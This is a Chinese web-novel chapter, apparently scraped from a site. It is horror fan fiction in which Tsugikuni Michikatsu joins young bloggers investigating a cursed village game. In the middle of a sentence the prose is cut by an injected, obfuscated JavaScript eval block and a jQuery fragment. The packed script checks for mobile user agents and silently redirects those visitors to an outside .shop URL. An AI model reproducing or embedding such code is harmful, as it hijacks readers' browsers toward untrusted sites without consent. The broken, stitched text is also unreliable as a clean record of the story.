———【存续了三百余年的古山村,人丁兴旺,这里流传着一个古老的游戏,需要四男一女躲藏在村里文家的土文宅里,发现后要从后方拍对方的肩膀,最后胜出者将会得到神仙的祝福与财宝】
———【多年来,无数人前仆后继,却接连消失得无影无踪】
———【一群年轻的恐怖博主,为了拍摄,也为了求真鉴假,组队来到了古山村】
———【架起高像素相机拍出的画面,将会给他们带来的是惊天流量?还是灭顶之灾?】
好晕……
【玩家黑死牟,你是一名美国退役特种兵,偶然一次走访校园,被错认为是学生受邀加入了队伍】
【您的主线任务是:1、到古山村土文宅玩一场恐怖游戏,调查多人失踪案的真相 2、不暴露美国退役特种兵的身份,安全撤离古山村】
【欢迎来到SS级副本———古山村】
什么味道?好臭。岩胜拧巴着脸,脸上浮出难受的神色。
在一片昏沉目眩中,继国岩胜终于醒了过来。
他正过神来,才发现自己是在一辆越野车上。
车体的起伏晃得他头昏目眩。车内皮革味引起岩胜胃捕一阵不适,特别想吐。
月生:【很快就到了,主人您忍一下】
等岩胜缓过那阵眩晕,冷静下来观察四周。
车上有四人,加上他一共五个。都是十几二十岁的年轻人,坐在前头东一嘴西一嘴聊着天。
一个身体略显臃肿的胖子正嚼着一包青瓜味的薯片,酥脆的嘎吱声在密闭的空间里格外醒耳,“你们说,古山村的传闻是真的吗?我昨天才刷到一个打假视频,博主说他去过四次了,每次去都会玩那个游戏,但都没事!靠发视频赚了千万流量了,发达咯!”
前头开着车的打了个眉钉的男生嗤笑,“不可信,他那是假的。”
胖子:“不是啊我看他视频都很真啊……”
坐在他旁边的女生单手推了推眼镜,斜了他一眼,像看傻子一样,“你没发现,他发了的四条视频里,手机屏幕上的时间都是8月27号吗?”
“他打假也是假的,搭的都是绿幕,不然怎么解释漏洞百出的破绽。也就只有你会信。”
胖子挠了挠头,也觉得说得很有道理。毕竟他们这次出行的目的,就是为了证明古山村的恐怖传闻。
但被两人驳了面子,实在是有点尴尬,胖子还想再努力一下,坚持自己的观点,或者多个人表明自己的看法有些许道理也好,他艰难地扭过胖胖的身子,将视线投向坐在车后座的男人。
“夏哥,你怎么看?”
被叫作夏哥的男人坐在岩胜旁边。岩胜已经很高了,坐入越野车内,车顶堪堪离他头顶留有一点空隙,修长的双腿无法完全地舒展,微微收拢。他却比岩胜身量还要高大,肩宽背阔的。两个巨人将后座座舱衬得狭小,极具视觉冲击力。
夏黎晏正摆弄了手机,随着车越开越深入,已经接收不了半点信号了。听到胖子叫他,他连头都不抬,“不知道。”
内容非常简便,语气极其敷衍。
胖子当然听出来了夏侯晏懒得理他,他不敢发恼,将视线转移到另一侧,目光如炬。
感受到胖子如火燃烧般热烈的求救视线,岩胜:“……”
以防晕车所戴的口罩此时发挥了重要作用,岩胜轻咳了一声,头扭向对着窗外,装作看不见胖子的眼神,“我也不知道……”
没得到想要的回复,胖子认命坐了回去。
夏黎晏微微侧头看了岩胜一眼,挑了下眉。岩胜全程看着窗外一闪而过的风景发呆,并没有看到夏黎晏盯着他玩味的眼神。
过了好几十分钟,车停下了。
“这里就是古山村?”
胖子略带嫌弃地看着远方升起的炊烟。
高耸入云的树夹着一道泥巴小路,昨夜下的大雨淋软了泥土,成结了大堆的土块,寸步难行。
他们翻着手机地图,讨论着提前定好的住房该往哪个方向走。岩胜是最后才下去的,他和其余几人都不相熟,自然没有加入到他们的讨论中去。
他们走了好一大段时间,才见到一点人烟。
村子极静,四面皆是青山,炊烟升起,湖水围着村,可以听到远处水车咕噜咕噜的流水声,小桥边挨着一户户人家,门口挂着的红辣椒色沉得显目。
岩胜的目光停在一户贴了崭新红对联的人家前,那家大门大大敞开着,明明是白日,里屋却好似没有窗户透光,黑沉沉的,门槛处站着一位老婆婆。
这老婆婆脊背佝偻成一把弯折的弓,像有人坐在了上面,花白的头发稀疏,脸上的皱纹深深浅浅地爬满了眼角与脸颊,她穿着一件黄绿色的长衣,脸色发青,浑浊的眼珠死死地盯着岩胜。
岩胜觉得她的服装怪怪的,他学过不少中华传统文化,对传统服饰很熟悉,但这阿婆身上的服装……要说是古装吧,倒也不是,要说是新中式,也不像,倒有点像……
寿衣。
岩胜想起来了,这种服饰分明就是死人穿的寿衣。而且,是很标准的样式。
老婆婆缓缓抬起手臂,起皱发白的手挥起又拍下,挥起又拍下……那怪异的动作令岩胜心中莫名生出一阵警觉,他缓缓后退一步……
“啪!”
忽然,岩胜的肩被重重拍了一下。
岩胜动作比脑子思考的反应更快,反手拑住了身后人的手腕。
“!”
身后是开车的打了眉钉的男生,名字叫沈尹星,他穿着偏向亚文化,眉、唇、耳都打了钉子,脸长得挺俊,就是脸臭得跟司了几个吗似的。
他被岩胜干净利落的速度和身手吓了一跳,手腕处传来的阵阵疼痛令人眉头不由一紧:“你还站着干嘛呢,走了。”
“抱歉。”岩胜愣了一下,松开了手。
关心人却吃瘪,沈尹星脸色难看许多,他啧了一声,走开了。岩胜再回头看,方才的老婆婆已经不见了。
一个小插曲,不足以让岩胜放在心上。他跟上几位少年的步伐,短短几分钟内从他们的对话以及岩胜有意无意的引导询问下,总算摸清了,他是这几位请来的“候补”。
他们这次出行是去一个与世隔绝的古村此处探险一间有百年历史的废弃古宅,本来一个班组的成员大家都很相熟,直到出发前一位组员因为身体原因去不了,人手不够,时间又来不及,最后几人只得在学校里另请了个人力。也就是继国岩胜。
说是人力,但更倾向于保镖。
虽然组里已经有夏黎晏这么一个人高马大的,但多一个总归不是坏事。
他们落脚的地方是一家三层的旅馆,两扇对开的门口贴着对福娃,胖子看了眼还笑,寻常人家门口贴门神贴的是关羽和张飞,或者是秦琼和敬德两猛将,怎么这村里就都贴两小娃娃。真是奇怪。
奇怪归奇怪,没人当一回事儿。
老板是个五十几岁的中年人,圆溜溜的脸型,眼球很黑,留着稀稀疏疏的凹形头,很是热情。
这家还兼顾住旅的服务,只是因为太久没有客人,三楼的房间都十分陈旧,好在还算干净。
共订了三间客房,女生独享一间,剩下四个男生两两一间。
他们使用的是猜拳分对,岩胜和夏黎晏分到了同一间。但沈尹星死活不肯和胖子睡同一间。
“我可不想半夜听二胡奏乐。”沈尹星说的是胖子的打鼻鼾问题,一响就是一整夜。
最后,女生一间,胖子一间,其余三人一间,也还有这家旅馆的房间里都是摆着三张床。
岩胜最先进了房间,挑了最外面靠窗的床位。窗外不知何时下起了绵绵细雨,岩胜将窗往下拉了点,档住从往漂溅的水滴。
胖子略有忧心地从走廊的窗户往外看。
“下雨了我们还要去找吗?听说下小雨时是最凶的时候。”
“下啊,这么小的雨,还没我家猫尿得多,怕什么。”队伍中唯一的女生湛花说,对下的咪咪小雨毫不在意。
岩胜在包里找到了干净的床上三件套,压缩的一小包。他不是很会开,月生一步步指挥他怎么打开放气,怎么将床铺好。
岩胜没做过这等家务,曾经为家主时有侍从,为无限城上弦一时亦有鬼仆,来到新世界更有月生为他打理好一切,岩胜只需要做好本职任务,修练身经,打好副本。但进了副本,月生总不能当着这么多人的面跳出来,扭着胖乎乎的白圆团子给他铺床吧?
好在岩胜学习能力强,学得快,没多久就将床铺得整整齐齐、干干净
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929442|213587||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
净,一丝不苟,连一个床角都理得平整无比,不知道的还以为见到了五星级酒店的床。
休息期间,大家都躺在沙发,玩玩手机,看来前下载好的电影。呆在自己房间里也无聊,不如干脆和众人聚在一起,胖子和湛花也进了岩胜他们的房间,坐在沙发上,时不时商讨几句接下来的计划。
“喂,我说,你不热吗?”没有信号,沈尹星摆弄了几下手机后觉得很无聊,头晃了几下,似乎是在决择什么,最后扭头向岩胜搭话。
三十六度的天气,长衣黑裤严严实实地包裹住岩胜清俊挺拔、青竹似的身段。
岩胜回答,“还好。”
沈尹星“噢”了一声,盯着岩胜的眼睛就没移开过。
胖子和湛花对视一眼,都从对方眼里看出一丝诧异,沈尹星什么时候对别人这么热情了?要说在刚下车在村口那一次,在别人身上吃了次瘪,以他平时的大少爷性子,不说把人整一顿狠的吧,竟然是舔着脸凑过去搭话?几人此前都没正经打量过岩胜的脸,一来是本就是凑数找的人,不感兴趣,二来是岩胜一直戴着口罩,进屋后才摘下。
他们的视线刚聚焦在岩胜的脸上几秒,心中不约而同地暗道难怪。
“哎哎哎。”胖子将沈尹星一把捞过来,“你发春啦?对他那么好奇干什么,好奇心害死猫知道不?”
沈尹星一巴掌拍在他头上一把推开,“咋了,又不是危险分子,我多问几句他还能杀了我不成?再说了,他毕竟我们在学校里找来的,又不是半道跳出来的啰啰,怕什么?”
胖子白了他一眼,“谁怕了,我是见你舔过头了丢我们脸面!我们是雇主,理应是他捧着我们吧。你倒好,在村口上叫人嫌了一遭还不够,上赶着往上凑。”
“哪有那么夸张,我这是正常交流。”
“得了吧你。”
“爱信不信。”沈尹星呵呵冷笑道。
“哎,别吵了。”湛花打断他们,“我饿了,下去找点东西吃,你们谁要跟我去?”
她肚子咕咕叫好几下,一路过来都没吃几口东西,又不想吃带过来冷冰冰没有锅气的包装食物,想着下楼找老板问问有没有下米面吃。
但其他几人都想着随便应付几口就够了,故而只有湛花自己一人出了房门。
外面异常安静,只有踩在木板上的吱吱嘎吱响,走廊少有开窗,昏昏暗暗的,湛花下到一楼,正叫声老板,却见空无一人,原来还坐在门口饮茶的老板也早就不知所踪。
“奇怪。”湛花叫了好几声,还是没人回应,“人去哪了?”
左转右转都不见老板的踪影,湛花正准备放弃上楼。
屋外忽然跑过一阵铃铛般的笑声,一个小女孩欢笑着跑过来,她扎着两根小辫子,衣服红彤彤的,脸色也是红彤彤的,像个小福娃。
她葡萄大的眼睛一斜,正好看见湛花,脸上的笑容更大了,径直冲向湛花,将手中的小盒子递给沈尹星。
“姐姐,给你玩!”
湛花不太会应付小孩子,看小女孩如此热情,不好拒绝,只得接了过来。
盒子是木制,没有开口,看着平平无奇。
小女孩说这是玩具,让湛花快点打开。
打开?湛花看来看去,怎么都没找到开口,他想敲一下。
笃笃笃。
楼上忽然传来一阵动静,听起来像有人在踩着高跷走路。
湛花被声音打断了动作,她抬起头,看向二楼,正想着那是什么声音。小女孩却脸色大变,疯狂地催促她打开玩具。
这急迫的态度反倒令湛花感到奇怪,多了一份心眼,留意了一下小女孩的样子。
走近了,湛花这才猛地发现,这小女孩脸上的气血,是化上去的。仔细看,小女孩的脸其实惨白得像鬼一样。脸死白,唇煞红,连被牙齿围着的口腔内,也红得似被水打湿过后的春联。
湛花越看她越觉得诡异,浑身的寒毛如同猫遇到未知危险而应激竖起。
“不了……还给你,”湛花勉强挤出一抹微笑,“姐姐年纪大了,对玩具不感兴趣。”
小女孩脸上的笑彻底消失了,她怨毒地盯着湛花,盯得湛花冷汗直流,才接过玩具,头也不回地跑掉了。
等小女孩一走,湛花逃也似的冲上了楼。